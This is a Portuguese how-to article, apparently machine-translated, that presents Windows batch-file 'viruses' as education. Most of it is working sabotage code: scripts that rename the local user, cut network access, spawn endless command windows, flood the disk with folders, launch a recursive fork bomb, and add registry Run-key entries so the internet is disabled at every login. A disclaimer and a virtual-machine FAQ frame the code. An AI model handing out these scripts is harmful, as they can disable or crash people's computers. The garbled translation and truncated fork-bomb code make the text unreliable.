cobertura codificação shell
2–3 minutos

Como criar .BAT Script: Guia Educativo para Block Notes

Bem-vindo a este guia técnico onde iremos analisar quão simplesNotas em bloco(Notepad) Windows pode ser usado para escrever scripts que alteram o funcionamento do sistema. Abaixo, vou mostrar-lhe o código para criar estes “vírus” (que são tecnicamente arquivos em lote), para fins de teste puros eeducação em segurança informáticaAntes de começar, peço-lhe que leia atentamente algumas recomendações importantes.

Não tenho responsabilidade de usar os códigos deste artigo. O único propósito deste guia é informativo e educativo. Todas as consequências causadas pela execução indevida destes scripts no seu sistema será a sua única responsabilidade.

Todos os scripts mostrados devem ser salvos com a extensão. morcego. Quando você usar o bloco de notas, certifique-se de selecionar “Todos os arquivos” no menu salvar e nomeie o documento, por exemplo, como “vírus. morcego“. Para aprofundar o funcionamento desses executáveis, você pode consultardocumentação oficial dos comandos Windows.

Alterar o nome de utilizador local

@echo off
net user %username% InShadow

Forçar o tempo do sistema às 00:00

@echo off
time 00:00

Desactivar a ligação à Internet

ipconfig /release
if ERRORLEVEL1 ipconfig /release_all

Criar um Loop infinito do Prompt de Comando

O comandostarté interpretado pelo sistema operacional para iniciar uma nova instância do Prompt de Comando. Programação aciclo (loop) que executa repetidamente a instrução Iniciar, você pode saturar a memória RAM e bloquear o PC por causa das janelas que se abrem ininterruptamente.

: infinitedos 
 @start 
 @echo addio… 
 @start 
 @Goto infinitedos

Desactivar permanentemente a Internet (registro de alterações)

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /dc:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /dc:windowswimn32.bat /f
echo Sei stato hackerato!
PAUSE

Como gerar 1.000 pastas em segundos

@echo off
:top
md %random%
GOTO top

Provocar um sistema Bater em 3 segundos (bomba de garfo)

for /l %%i in (1,1,10000) do (
 md %%i
 cd %%i
 copy "..\bat.bat"
 for /l %%i in (1,1,5) do (
  start bat.bat
 )
 cd..
 for /l %%i in (1,1,5) do (
  echo %random% %random% %random% %random% %random% %random% %random% %random% %random%

Perguntas frequentes (FAQ) sobre os arquivos Lote e CMD

O que é um arquivo .BAT e para que é exatamente isso?

Um arquivo .BAT é um documento de texto contendo uma sequência de instruções. Quando iniciado, o interpretador de linha de comando do Windows (CMD) lê eexecutar estes comandos em sequênciaautomatizar operações de perfuração ou, como mostrado neste guia, simular comportamento agressivo para fins de teste.

Tens a certeza que vais testar estes guiões no meu computador principal?

Absolutamente não. Para preservar ocibersegurançade seus dados, é altamente recomendável executar e testar scripts que alteram chaves de registro ou conexões de redeexclusivamente dentro de uma máquina virtual(Máquina Virtual) protegida e isolada do sistema operacional principal.

Posso usar esses códigos para aprender o básico da programação?

Claro. Aproximando-se do uso do Notepad para escrever arquivos simples .BAT é um dos melhores exercícios propedêuticos para entender a lógica dos ciclos (loop), variáveis de ambiente e interação direta com as bases administrativas do sistema operacional Windows.

PortuguêsptPortuguêsPortuguês